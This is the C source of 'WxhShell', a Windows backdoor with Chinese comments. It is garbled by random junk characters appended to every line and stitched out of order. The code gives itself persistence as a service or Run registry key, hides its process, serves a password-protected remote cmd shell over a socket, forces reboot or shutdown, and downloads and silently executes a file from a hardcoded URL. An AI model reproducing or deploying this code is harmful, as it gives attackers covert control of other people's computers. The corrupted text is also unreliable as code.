    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i+`8$uz  
    if(Boot(SHUTDOWN)) ,a5q62)q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Wl`hF  
    else { ozOc6  
    closesocket(wsh); so` \e^d  
    ExitThread(0); Xe4   
    } 3o rSk  
    break; Hcf"u&%  
    } gW~YB2 $  
  // 获取shell a!o%x  
  case 's': { rCo}^M4Pb  
    CmdShell(wsh); b'O/u."O  
    closesocket(wsh); [r2V+b.C  
    ExitThread(0); >l0Qd1   
    break; =d;a1AO{&  
  } {L$$"r,  
  // 退出 dw6ysOR@  
  case 'x': { zTue(Kr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nk!uO^  
    CloseIt(wsh); 6PsT])*>DE  
    break; xhALJfv  
    } 5YrzOqg=  
  // 离开 \(??Ytc<B  
  case 'q': { }oD^tU IK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 61_PSScSY  
    closesocket(wsh); Ja1`S+  
    WSACleanup(); `@y~JNf!  
    exit(1); TFHYB9vV  
    break; @kSfF[4H  
        } .nY}_&  
  } K-'uE)  
  } 4l0>['K&{  
W(62.3d~}?  
  // 提示信息 -']Idn6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3ko h!q+  
} 5B%KiE&p  
  } xZ'C(~t  
3=wcA/"!  
  return; [Vbd su9  
} @Ov}X]ELi  
7b~uU@L`  
// shell模块句柄 m2m ;|rr  
int CmdShell(SOCKET sock) ,tXI*R  
{ -medD G  
STARTUPINFO si; $\m:}\%p  
ZeroMemory(&si,sizeof(si)); h8WM4 PK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hvI#D>Z!Yp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p63fpnH  
PROCESS_INFORMATION ProcessInfo; q>+!Ete1p  
char cmdline[]="cmd"; NP3 e^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HMD\)vMK6  
  return 0; E!X>C^  
} ,./ n@.na  
2(uh7#Q  
// 自身启动模式 y=Eb->a){  
int StartFromService(void)  3B]E2  
{ #+<YFm\i  
typedef struct x'-gvbj!  
{ ;~1xhpTk  
  DWORD ExitStatus; w.rcYywI  
  DWORD PebBaseAddress; B|o@ |zF  
  DWORD AffinityMask; J<0sT=/2$  
  DWORD BasePriority; QUkP&sz  
  ULONG UniqueProcessId; r7R39#  
  ULONG InheritedFromUniqueProcessId; }x|q*E\  
}   PROCESS_BASIC_INFORMATION; 9y[U\[H  
;Mmu}  
PROCNTQSIP NtQueryInformationProcess; LT)I ?ud  
VOYQ<tg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yd VDjE Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Kf?:dF  
; P<h 9(  
  HANDLE             hProcess; UOj*Gt&  
  PROCESS_BASIC_INFORMATION pbi; j0LZ )V  
|)d%3s\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pcIS}+L  
  if(NULL == hInst ) return 0; }x#e.}hf&  
JS03B Itt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XlXt,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Pc?"H!Hkn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t!xdKX& }  
W$7H "tg  
  if (!NtQueryInformationProcess) return 0; oumbJ7X=L  
du0o4~-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -~RGjx  
  if(!hProcess) return 0; R:l&2  
\ (`2@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y9-F\t=~  
e1b?TF@lz  
  CloseHandle(hProcess); Q e/XEW  
+P 9eE,WR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r(>812^\  
if(hProcess==NULL) return 0; xxg/vaQt=s  
o/&K>]8M  
HMODULE hMod; gKQs:25  
char procName[255]; iW2\;}y  
unsigned long cbNeeded; fVZ9 2Xw B  
^?0'\Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W8x&:5Fc)3  
Xhyn! &H5  
  CloseHandle(hProcess); VcsM Da  
\ -Xtb m  
if(strstr(procName,"services")) return 1; // 以服务启动 3_9CREZCl  
FzSL[S4i  
  return 0; // 注册表启动 Oc,HnyV+  
} OVxg9  
0$b4\.0>~  
// 主模块 UlNiH  
int StartWxhshell(LPSTR lpCmdLine) <5Ll<0  
{ s1sn,?  
  SOCKET wsl; 7}Mnv WP  
BOOL val=TRUE; ;xUo(^t7>  
  int port=0; `<P:l y.  
  struct sockaddr_in door; FjizPg/|!  
>S0kiGDV{  
  if(wscfg.ws_autoins) Install(); /oJ &\pI  
86cnEj=   
port=atoi(lpCmdLine); L%3Bp/`S  
$e4N4e2x/  
if(port<=0) port=wscfg.ws_port; ,cS_687o  
vgDpo@fz8  
  WSADATA data; ZI4dD.B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F/1m&1t  
B#`'h~(7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SmvMjZ+7Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _E8Cvaob  
  door.sin_family = AF_INET; :.=j)ljTx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eU`O=uE   
  door.sin_port = htons(port); ^7i7yM}6(  
h {zb)'R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =_ j<x$,b-  
closesocket(wsl); Al@. KTK  
return 1; 3*\Q]|SI!  
} r| ]YS6  
WrRY 3X  
  if(listen(wsl,2) == INVALID_SOCKET) { BHU$QX  
closesocket(wsl); Zv@ Fr9m  
return 1; N5`z S79W  
} Qv'x+GVW]  
  Wxhshell(wsl); 4M]l~9;A  
  WSACleanup(); Z'uiU e`&  
0s{7=Ef  
return 0;  ~H   
}kItVx  
} n'q:L(`M  
K0B<9Wi |  
// 以NT服务方式启动 Fv)E:PnKC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MwQ4&z#wh  
{ O^6anUV0  
DWORD   status = 0; D@.qdRc3  
  DWORD   specificError = 0xfffffff; =-r); d  
y3j"vKG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d-m.aP)y:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q@PDhISa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]xoG{%vgb  
  serviceStatus.dwWin32ExitCode     = 0; C4gES"T  
  serviceStatus.dwServiceSpecificExitCode = 0; 1tI=Dw x  
  serviceStatus.dwCheckPoint       = 0;  .9r85  
  serviceStatus.dwWaitHint       = 0; %{3q=9ii  
qP&:9eL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B/;'D7i|S  
  if (hServiceStatusHandle==0) return; %I!2dXNFRF  
vGPsjxk&  
status = GetLastError(); #639N9a~  
  if (status!=NO_ERROR) dS <*DP  
{ d+5~^\lV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8HZ+r/j  
    serviceStatus.dwCheckPoint       = 0; x H=15JY1W  
    serviceStatus.dwWaitHint       = 0; d:^B2~j  
    serviceStatus.dwWin32ExitCode     = status; YAeF*vP  
    serviceStatus.dwServiceSpecificExitCode = specificError; _/%,cYVc8!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }a9G,@:k  
    return; W[j, QU  
  } rev*G:  
%yjD<2J;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4 83rU  
  serviceStatus.dwCheckPoint       = 0; 'DpJ#w\81  
  serviceStatus.dwWaitHint       = 0; q{B?j%.o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wsH_pF  
} q~W:W}z  
bX:h"6{=R  
// 处理NT服务事件,比如:启动、停止 ;b1B*B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i`+bSg  
{ T,>L  
switch(fdwControl) 5F ^VvzNn  
{ lQ!OD& 6  
case SERVICE_CONTROL_STOP: /Yg&:@L  
  serviceStatus.dwWin32ExitCode = 0; S++~w9}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1 JIU5u)  
  serviceStatus.dwCheckPoint   = 0; ?Y S 3)  
  serviceStatus.dwWaitHint     = 0; >}O}~$o  
  { v*dw'i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rcMf1\  
  } y@LiUe5  
  return; esx/{j;<u  
case SERVICE_CONTROL_PAUSE: SZ$WC8AX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W-&V:S{<  
  break; 10c.#9$  
case SERVICE_CONTROL_CONTINUE: p nI=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =8<~pr-NO  
  break; 0jjtx'F  
case SERVICE_CONTROL_INTERROGATE: %+Z*-iX  
  break; iI7ocyUv  
}; woP j>M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Za3}:7`Gu  
} BL_0@<1X  
{]dtA&8(  
// 标准应用程序主函数 7[u>#8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2u!&Te(!9  
{ $of2lA  
gM=:80  
// 获取操作系统版本 m9i/rK_  
OsIsNt=GetOsVer(); #C?M-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hKWWN`;b !  
=EA:fq  
  // 从命令行安装 r@Jy*2[-Jq  
  if(strpbrk(lpCmdLine,"iI")) Install(); Yb/*2iWX  
/}L2LMIm  
  // 下载执行文件 &TA{US3~  
if(wscfg.ws_downexe) { ]Zc|<f;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S 593wfc  
  WinExec(wscfg.ws_filenam,SW_HIDE); g; ] '  
} PRTjXq6)5  
324XoMO  
if(!OsIsNt) { &g^*ep~|#  
// 如果时win9x,隐藏进程并且设置为注册表启动 <.gDg?'3  
HideProc(); GfEWms8z  
StartWxhshell(lpCmdLine); N8#j|yf  
} T>L?\-  
else lG94^|U  
  if(StartFromService()) A( vdlj  
  // 以服务方式启动 YE{t?Y\5  
  StartServiceCtrlDispatcher(DispatchTable); *`Vmncv3  
else `V\?YS}  
  // 普通方式启动 =D Q :0w  
  StartWxhshell(lpCmdLine); p&]V!O  
1hGj?L0m.  
return 0; X<[ qX*  
} |3@DCb T  
9_O4 yTL  
pxd=a!(  
bSX/)')jU  
=========================================== mOn_#2=KF  
OVe0{} j  
ja';NIO-  
B#SVN Lv  
VK1B}5/  
z^Ikb(KC  
" ozRTY9S _;  
R( FQ+h  
#include <stdio.h> fTvm2+.nX  
#include <string.h> X V;j6g  
#include <windows.h> `a|&aj0  
#include <winsock2.h> }P fAf  
#include <winsvc.h> A&~fw^HM  
#include <urlmon.h> Op ?"G  
^sLx3a  
#pragma comment (lib, "Ws2_32.lib") "W(Ae="60  
#pragma comment (lib, "urlmon.lib") 8iJB'#''*  
RK|*yt"f"  
#define MAX_USER   100 // 最大客户端连接数 lYQ|NL():  
#define BUF_SOCK   200 // sock buffer ~:bdS 4w  
#define KEY_BUFF   255 // 输入 buffer 'Uf?-t*LT@  
6xJffl  
#define REBOOT     0   // 重启 9T24dofkJ  
#define SHUTDOWN   1   // 关机 sEdz`F  
#H>{>0q  
#define DEF_PORT   5000 // 监听端口 PKSfu++Z  
c8JW]A`9b)  
#define REG_LEN     16   // 注册表键长度 `!HD. E[2c  
#define SVC_LEN     80   // NT服务名长度 "Nj/{BU  
PLc5m5  
// 从dll定义API D @*<O=_D(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f;zNNx< ;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m3lz#Pm'0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r%ES#\L6+|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @>(KEjQTz  
&9#m] Mz  
// wxhshell配置信息 - Fbp!*. u  
struct WSCFG { YoKyiO!   
  int ws_port;         // 监听端口 'YNdrvz  
  char ws_passstr[REG_LEN]; // 口令 1" cv5U  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1w^wa_qx  
  char ws_regname[REG_LEN]; // 注册表键名 &HM-UC|  
  char ws_svcname[REG_LEN]; // 服务名 qM(}|fMbN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k*hl"oL"X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lZcNio  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /^BC Qaj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f`uRC-B/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2(xC|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E s5: S#  
8I#ir4z#<  
}; P#~B @d  
Vi8A4  
// default Wxhshell configuration @ivd|*?k0  
struct WSCFG wscfg={DEF_PORT, L9 D`hefz  
    "xuhuanlingzhe", d7X&3L%Oq  
    1, FI$:R  
    "Wxhshell", 'RK"/ZhqE  
    "Wxhshell", PX 8UVA  
            "WxhShell Service", Fr8GGN~/  
    "Wrsky Windows CmdShell Service", }#O!GG{  
    "Please Input Your Password: ", oY18a*_>M1  
  1, mUh]`/MK$  
  "http://www.wrsky.com/wxhshell.exe", Mn.,?IF`K  
  "Wxhshell.exe" (hzN(Dh  
    }; EMW6'  
KeQcL4<  
// 消息定义模块 YZBh}l6t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kW g.-$pp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3`HK^((o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @0?!bua_|  
char *msg_ws_ext="\n\rExit."; >0IZ%Wiz  
char *msg_ws_end="\n\rQuit."; u#E'k KGO  
char *msg_ws_boot="\n\rReboot..."; pSw/QO9  
char *msg_ws_poff="\n\rShutdown..."; 7C{ y NX#  
char *msg_ws_down="\n\rSave to "; *Y m? gCig  
@Iv;y*y  
char *msg_ws_err="\n\rErr!"; A IP~A]T  
char *msg_ws_ok="\n\rOK!"; @LKQ-<dZG  
(CmK> "C+  
char ExeFile[MAX_PATH]; >M,oyM" s  
int nUser = 0; f&^(f1WO  
HANDLE handles[MAX_USER]; pIJXP$v3  
int OsIsNt; 4]y)YNQ(  
pE4a~:  
SERVICE_STATUS       serviceStatus; k&]nF,f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )u)=@@k21  
&7aWVKon  
// 函数声明 fGo4&( U  
int Install(void); g>@JGzMLP  
int Uninstall(void); 1sQIfX#2f  
int DownloadFile(char *sURL, SOCKET wsh); $<^t][{  
int Boot(int flag); Dm>"c;2  
void HideProc(void); zH8E,)  
int GetOsVer(void); fd\RS1[  
int Wxhshell(SOCKET wsl); ):D"L C  
void TalkWithClient(void *cs); iQwQ5m!d &  
int CmdShell(SOCKET sock); yGZsNd {a&  
int StartFromService(void); S(Yd.Sp  
int StartWxhshell(LPSTR lpCmdLine); E $@W~).!  
NB"S ,\M0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S\ k<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e3?=1ZB  
(jgk! 6  
// 数据结构和表定义 Ej(J j\  
SERVICE_TABLE_ENTRY DispatchTable[] = :HkBP90o  
{ Ey46JO"  
{wscfg.ws_svcname, NTServiceMain}, c3A\~tHW  
{NULL, NULL} }htjT/Nm  
}; 0lfK} a  
>H2`4]4]  
// 自我安装 vT'Bs;QR  
int Install(void) Aw o)a8e  
{ (yOkf-e2y  
  char svExeFile[MAX_PATH]; 1o_kY"D<  
  HKEY key; BM%wZ: s  
  strcpy(svExeFile,ExeFile); 1uw#;3<L  
E9HMhUe  
// 如果是win9x系统,修改注册表设为自启动 > VG  
if(!OsIsNt) { ~GaGDS\V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AZtS4]4G)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a|aVc'j  
  RegCloseKey(key); tZrc4$D-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kNEEu! G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lsmcj{1d  
  RegCloseKey(key); C|(A/b  
  return 0; nV;'UpQw  
    } RgE`Hr  
  } \oQ]=dDCd%  
} DDg\oGLp  
else { *sho/[~_  
'Wonz<{'  
// 如果是NT以上系统,安装为系统服务 UkV?,P@l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a^|DD#5  
if (schSCManager!=0) dhl[=Y ` Q  
{ g*| j+<:7  
  SC_HANDLE schService = CreateService %\As  
  ( \{,TpK.  
  schSCManager, yzA05npTl  
  wscfg.ws_svcname, m7 =$*1k  
  wscfg.ws_svcdisp, }{aGh I~<  
  SERVICE_ALL_ACCESS, 1gEH~Jmj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pJpapA2l*6  
  SERVICE_AUTO_START, jcH@*c=%e  
  SERVICE_ERROR_NORMAL, nR!e(  
  svExeFile, ^rkKE dd  
  NULL, PxHFH pL  
  NULL, !Brtao"m  
  NULL, fCl}eXg6w  
  NULL, ]Z JoC!u  
  NULL XC4Z,,ah"  
  ); ,g`%+s7u  
  if (schService!=0) mCtS_"W  
  { YdY-Jg Xm  
  CloseServiceHandle(schService); ^S9y7b^;r  
  CloseServiceHandle(schSCManager); h`fVQN.3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CUA @CZ6{  
  strcat(svExeFile,wscfg.ws_svcname); mYBEjZ B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /'O8RUjN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^ k^y|\UtZ  
  RegCloseKey(key); T) C@6/  
  return 0; BxY t*b%  
    } $EMOz=)I#  
  } s:`i~hjq  
  CloseServiceHandle(schSCManager); g(DD8;]w<  
} <_tmkLeZf  
} G4&s_ M$  
-wl j;U  
return 1; l?Y^3x}j  
} t<%0eu|  
bm588UQ  
// 自我卸载 +Qs]8*^?;  
int Uninstall(void) >%JPgr/ 8  
{ NzRvbj]  
  HKEY key; jXcJ/g(X3  
)n/%P4l  
if(!OsIsNt) { ]n ?x tI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  w-jElV  
  RegDeleteValue(key,wscfg.ws_regname); OfsP5*d  
  RegCloseKey(key); 3JoY-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z(PUoV:?  
  RegDeleteValue(key,wscfg.ws_regname); 0oe<=L]F  
  RegCloseKey(key); .{Y;6]9[  
  return 0; ]wQ!ZG?)  
  } v1h(_NLI!  
} [;E%o^/^  
} ?5|;3N/zt  
else { dWY%bb  
,N/@=As9$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D{|qP nE4  
if (schSCManager!=0) E3L?6Qfx>  
{ vN v?trw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T}~TW26v  
  if (schService!=0) BT{;^Hp  
  { J=V  
  if(DeleteService(schService)!=0) { yr]ja-Y  
  CloseServiceHandle(schService); \}-4(Xdaq  
  CloseServiceHandle(schSCManager); y)f.ON36I  
  return 0; BEZ~<E&0H  
  } \?bV\/GBR  
  CloseServiceHandle(schService); D+8d^-:  
  }  urp|@WZ  
  CloseServiceHandle(schSCManager); `s}*  
} c,UJ uCZ  
} ?0b-fL^^+l  
95;{ms[  
return 1; >nSsbhAe  
} ~KK 9aV{  
c0Ug5Vr  
// 从指定url下载文件 gW, [X(  
int DownloadFile(char *sURL, SOCKET wsh)  a+h$u  
{ <+8'H:wz  
  HRESULT hr; K/4@ 2vF  
char seps[]= "/"; ^ 5 >e  
char *token; U}v`~' K  
char *file; ?z ,!iK`  
char myURL[MAX_PATH]; *[MWvs:,  
char myFILE[MAX_PATH]; rK~-Wzwu  
*0WVrM06?  
strcpy(myURL,sURL); lED!}h'4  
  token=strtok(myURL,seps); M 8^ID #  
  while(token!=NULL) 3CUQQ_  
  { I-v} DuM  
    file=token; I?KN7(9u?  
  token=strtok(NULL,seps); ~W'DEpq_  
  } P \7DA4]  
Z0|5VLk,<{  
GetCurrentDirectory(MAX_PATH,myFILE); pP\Cwo #,  
strcat(myFILE, "\\"); !3Dq)ebBz  
strcat(myFILE, file); 5zuwqOD*  
  send(wsh,myFILE,strlen(myFILE),0); sYTz6-  
send(wsh,"...",3,0); lR(9;3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C*`WMP*  
  if(hr==S_OK) l,ny=Q$[1'  
return 0; tzI|vVT,  
else ,n|si#  
return 1; <y 4(!z"  
`RTxc  
} @uSO~. 7  
Jcw^Z,  
// 系统电源模块 |jsI-?%8J  
int Boot(int flag) ktu?-?#0,  
{ RK# 6JfC3X  
  HANDLE hToken; YMGy-]!o  
  TOKEN_PRIVILEGES tkp; X<ex >sM  
;W|kc</R*  
  if(OsIsNt) { B5\l&4X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |T#cq!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1=VyD<dNG6  
    tkp.PrivilegeCount = 1; xBHf~:!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D#jwI,n}x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9#E *o~1  
if(flag==REBOOT) { Khq\@`RaT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OjU{r N*  
  return 0; fif;n[<  
} DR"Y(-xl  
else { $e^"Inhtqp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [o^$WL?c  
  return 0; .EYL  
} SX3'|'-  
  } dT`nR"  
  else { $-_" SWG.  
if(flag==REBOOT) { J%bNt)K}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \ %-<O  
  return 0; BRFsw`c  
} I=`?4%  
else { &9jJ\+:7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -:}vf?  
  return 0; VPCI5mS_  
} IRW0.'Dn  
} b1xE;0uR  
Y;af|?U*6:  
return 1; KFM[caKeJO  
} q 4BXrEOw  
&+9 ;  
// win9x进程隐藏模块 ]dycesc'  
void HideProc(void) \Y#  
{ _KRnx-  
=lNW1J\SW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V[ UOlJ  
  if ( hKernel != NULL ) @Z]0c=-+  
  { bR`5g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (lsG4&\0F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b+s'B4@rb  
    FreeLibrary(hKernel); -]EL|_;  
  } q/U-WQ<+  
F6{g{ B  
return; ,#a4P`q'iC  
} R P{pEd  
Owp]>e  
// 获取操作系统版本 f,YORJ  
int GetOsVer(void) v]JET9hY  
{ <5Vf3KoC&  
  OSVERSIONINFO winfo; BKFO^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #v c+;`X  
  GetVersionEx(&winfo); ,Wtw0)4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }$?FR  
  return 1; Uo3  
  else >iyNZ]."\  
  return 0; ``xm##K  
} &H _/`Z]Q  
+:A `e+\  
// 客户端句柄模块 p{?duq=  
int Wxhshell(SOCKET wsl) fb f&bJT  
{ Q}#4Qz~n  
  SOCKET wsh; RXRbW%b  
  struct sockaddr_in client; 9FEhl~&  
  DWORD myID; 5%'ybh)@   
74_?@Z(  
  while(nUser<MAX_USER) 2d[tcn$;h]  
{ _ $PeFE2  
  int nSize=sizeof(client); 4'faE="1)S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fd8nR9A  
  if(wsh==INVALID_SOCKET) return 1; d /jx8(0  
dcKpsX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u7!gF&tA  
if(handles[nUser]==0)  2_$8Ga  
  closesocket(wsh); eKP >} `  
else 1^IMoC7$#  
  nUser++; AyJl:aN^  
  } 5a |R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4lo7yx  
51:5rN(_  
  return 0; #jbC@A9Pe  
} l@4pZkdq  
e"@r[pq-{u  
// 关闭 socket Z%#e* O0  
void CloseIt(SOCKET wsh) )~M@2;@L  
{ ,]wab6sY  
closesocket(wsh); W *0!Z:?  
nUser--; 4n#u?)  
ExitThread(0); H Qj,0#J)  
} m.P F'_)/  
]n=z(2Z9lD  
// 客户端请求句柄 ?`TQ!m6y  
void TalkWithClient(void *cs) o. $ 48h(  
{ .p{lzI9  
eg~ Dm>Es  
  SOCKET wsh=(SOCKET)cs; y0O(n/  
  char pwd[SVC_LEN]; [KUkv  
  char cmd[KEY_BUFF]; Wv>`x?W  
char chr[1]; hGFi|9/-u  
int i,j; <\*)YKjn/@  
{9J|\Zz3  
  while (nUser < MAX_USER) { W3l[a^1d  
$7X;FmlG&  
if(wscfg.ws_passstr) { +@$VJM%^7b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M_O$]^I3w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I'D3~UI f  
  //ZeroMemory(pwd,KEY_BUFF); .(&6gB  
      i=0; +R?E @S  
  while(i<SVC_LEN) { Gb2|e.z  
v~RxtTu  
  // 设置超时 u!xgLf'`  
  fd_set FdRead; :qS~"@?<  
  struct timeval TimeOut; Qc33C A  
  FD_ZERO(&FdRead); yO-2.2h  
  FD_SET(wsh,&FdRead); (muJ-~CJk  
  TimeOut.tv_sec=8; '"Cqq{*  
  TimeOut.tv_usec=0; ks$5$,^T2o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <F`9;WX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 02 FLe*zQ  
06NiH-0O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )fXxkOd  
  pwd=chr[0]; 5hqXMs  
  if(chr[0]==0xd || chr[0]==0xa) { ko.% @Y(=  
  pwd=0; z:UkMn[  
  break; @MQfeM-@  
  } |yNyk7~  
  i++; EAY+#>L*  
    } Q3r]T.].h  
};2Lrz9<  
  // 如果是非法用户,关闭 socket !}A`6z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4P C'7V=S  
} y 2k's  
DvN_}h^nX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &2@"zD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zt((TD2  
9[t-W:3c7  
while(1) { dyqk[$(  
?n<sN"  
  ZeroMemory(cmd,KEY_BUFF); w8>lWgN  
L9[m/(:y  
      // 自动支持客户端 telnet标准   ^`-Hg=d  
  j=0; %jUZc:06  
  while(j<KEY_BUFF) { 2+|r*2_glo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gj#BG49g2  
  cmd[j]=chr[0]; )p!") :'fv  
  if(chr[0]==0xa || chr[0]==0xd) { "6e3Mj\  
  cmd[j]=0; 1>_$O|dE  
  break; -8:O?]+Q/  
  } WbFCj0  
  j++; lYS4Q`z$  
    } q q^[(n  
u 'ng'j'  
  // 下载文件 YC{7;=P f  
  if(strstr(cmd,"http://")) { Q2|6WE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @8YuMD;  
  if(DownloadFile(cmd,wsh)) 9( &$Gwi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 48gpXcc@|  
  else z:n JN%Qb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R]kH$0`  
